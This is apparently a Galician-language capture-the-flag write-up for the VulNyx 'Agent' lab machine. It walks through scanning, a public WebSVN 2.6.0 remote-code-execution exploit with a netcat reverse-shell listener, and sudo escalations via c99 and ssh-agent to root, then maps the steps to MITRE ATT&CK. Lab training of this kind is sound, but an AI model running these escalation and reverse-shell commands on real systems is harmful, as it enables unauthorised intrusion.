Ir ao contido

Doc vulnyx agent

Máquina virtual Agent

Fig. VulNyx Agent
Fig. Card VulNyx Agent

A máquina Agent é moi interesante porque...

  • WebSVN 2.6.0 vulnerable a RCE
  • Escalada en dous pasos: www-data → usuario intermedio → root
  • Uso de c99 (compilador C) como vector de escalada
  • Abuso de ssh-agent para obter shell de root

Diagrama de ataque

Fig. Diagrama de ataque

Fase 1 — Recopilación

sudo arp-scan --interface=eth1 192.168.56.0/24
ping -c2 IP_VulNyx_Agent -R # TTL ≃ 64 ⇒ GNU/Linux, TTL ≃ 128 ⇒ Microsoft Windows
sudo nmap -sS -Pn -T4 -p- -vvv --min-rate 5000 IP_VulNyx_Agent # 22,80
whatweb IP_VulNyx_Agent
curl -I IP_VulNyx_Agent

Fase 2 — Análise

# Enumeración de directorios web
dirb http://IP_VulNyx_Agent

# Descubrimento de websvn
firefox http://IP_VulNyx_Agent/websvn &
# Versión identificada: WebSVN 2.6.0

# Busca de exploits para WebSVN
searchsploit websvn
# Exploit atopado

# Descarga do exploit
searchsploit -m [ficheiro_exploit].py

# Edición do exploit para configurar IP do atacante
nano [ficheiro_exploit].py
# Modificamos LHOST e LPORT

Fase 3 — Explotación

# Preparamos listener no atacante
nc -nlvp 4444

# Execución do exploit
python [ficheiro_exploit].py http://IP_VulNyx_Agent/websvn
# ⇒ Conseguimos reverse shell como usuario www-data

Fase 4 — Post‑explotación

# Enumeración de permisos sudo
sudo -l
# Detectamos que outro usuario pode executar /usr/bin/c99

# Consulta en GTFOBins(https://gtfobins.github.io/) para c99
# Escalada mediante c99
sudo -u XXXXXXXXXXXX /usr/bin/c99 -wrapper /bin/sh,-s .
# ⇒ Conseguimos shell como XXXXXXXXXXXX

# Nova enumeración de permisos sudo
sudo -l
# Podemos executar ssh-agent como root

# Consulta en GTFOBins(https://gtfobins.github.io/) para ssh-agent
# Explotación de ssh-agent con sudo
sudo ssh-agent /bin/sh
# ⇒ Conseguimos shell de root

# Verificación
whoami # root
cd /root
cat root.txt # ⇒ Flag de root conseguida

Correspondencia de fases → MITRE ATT&CK — VulNyx: Agent

Fase Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
1. Recopilación Descubrimento de host e servizos expostos Scanning / descubrimento de servizos T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure (reconnaissance)
2. Análise Identificación de WebSVN 2.6.0 vulnerable Recoñecemento de versión vulnerable T1190 — Exploit Public-Facing Application
T1592 — Gather Victim Host Information
CWE-1035 — 2017 Top 10 A9: Using Components with Known Vulnerabilities
3. Explotación Explotación de WebSVN mediante RCE Remote Code Execution T1190 — Exploit Public-Facing Application
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-94 — Improper Control of Generation of Code
4. Post-explotación Escalada horizontal mediante c99 con sudo Privilege escalation / lateral movement T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1069 — Permission Groups Discovery
CWE-269 — Improper Privilege Management
Enumeración de permisos sudo como novo usuario Discovery local T1069 — Permission Groups Discovery
T1083 — File and Directory Discovery
CWE-200 — Information Exposure
Abuso de ssh-agent con sudo para escalada a root Abuso de mecanismos de elevación T1548.003 — Abuse Elevation Control Mechanism: Sudo and Sudo Caching
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management; CWE-284 — Improper Access Control